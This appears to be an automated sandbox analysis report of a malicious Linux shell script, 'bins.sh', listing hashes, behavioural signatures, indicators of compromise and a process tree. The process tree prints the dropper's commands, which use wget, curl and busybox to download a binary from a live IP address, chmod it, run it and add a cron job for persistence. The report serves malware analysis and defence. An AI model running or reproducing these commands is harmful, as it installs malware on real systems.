Analysis
-
max time kernel
149s -
max time network
153s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04-11-2024 19:52
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
3ddeda65fdff7dc7e3cc275ff6f553d3
-
SHA1
63ea40bbcbb7ae0a7d338ea6283460d48c3f6368
-
SHA256
67db0a782044ee286667c282875397514a893b73eb8b8102d5401e5841d123af
-
SHA512
b1a6e4dbb31b142cac5c142a8adafdb6e53106d788ce26f3e40d930a821147cc6dc5289ecc3217d1b7545ab6d69bd3c12c3128a980d76ac3986a334f102c3a0e
-
SSDEEP
96:Bj2IPO3r7edhO9HzMJQIDCuBlVArHZro/T8jAIC+r7edh4VLIlVArHZfDzMlPQIz:Bj2IPOd92QIDCuBsKQIDCuv
Malware Config
Signatures
-
Contacts a large (2136) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodpid Process 1510 chmod -
Executes dropped EXE 1 IoCs
Processes:
kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeOioc pid Process /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO 1511 kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO -
Renames itself 1 IoCs
Processes:
kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeOpid Process 1512 kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.GZsu3D crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Processes:
kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeOdescription ioc Process File opened for reading /proc/172/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1581/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/82/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1752/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1773/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1725/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1236/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1561/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1568/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1584/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1607/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1643/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1646/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/5/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1148/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/27/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/207/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1152/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1531/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1578/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1674/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1695/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1288/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1626/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1753/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1579/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/7/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1253/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1491/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1566/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1612/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1750/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/80/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/163/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1068/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1376/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1618/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1681/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1759/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/34/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1298/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1630/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1651/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1683/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1693/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/28/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/208/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1567/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1620/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1738/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/81/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1707/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/31/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1730/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/17/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1555/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1748/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/26/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/242/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1527/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1660/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/464/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1497/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO File opened for reading /proc/1540/cmdline kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetcurlbusyboxdescription ioc Process File opened for modification /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO wget File opened for modification /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO curl File opened for modification /tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO busybox
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:1494
-
/bin/rm/bin/rm bins.sh2⤵PID:1495
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO2⤵
- Writes file to tmp directory
PID:1496
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO2⤵
- Writes file to tmp directory
PID:1501
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO2⤵
- Writes file to tmp directory
PID:1509
-
-
/bin/chmodchmod 777 kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO2⤵
- File and Directory Permissions Modification
PID:1510
-
-
/tmp/kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO./kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1511 -
/bin/shsh -c "crontab -l"3⤵PID:1513
-
/usr/bin/crontabcrontab -l4⤵PID:1514
-
-
-
/bin/shsh -c "crontab -"3⤵PID:1515
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1516
-
-
-
-
/bin/rmrm kgsaO6LZu4ZHWfsQTKTRm2NKSEuiiV6EeO2⤵PID:1518
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/60V1ghqzB35ZmIwK5bO4SmlnXuQqmpRbjQ2⤵PID:1521
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
-
Filesize
210B
MD595fb6aa6c04f558af7419dec5307cbe1
SHA1e82a55e4892787bc66cf90c11b9d0a3b441619b5
SHA25674fd7367666ec02c7e623014ec10fae5118f3fe80e6a28e369fa80fd38768b94
SHA512283e144e0daede569f1b39c469a0f0bfe32677b5333b82a8d7992ac078918934ade6b5a8a359307ce63730ccac66974c84a5c7fbd0a2f544a7c84b7d471f4aac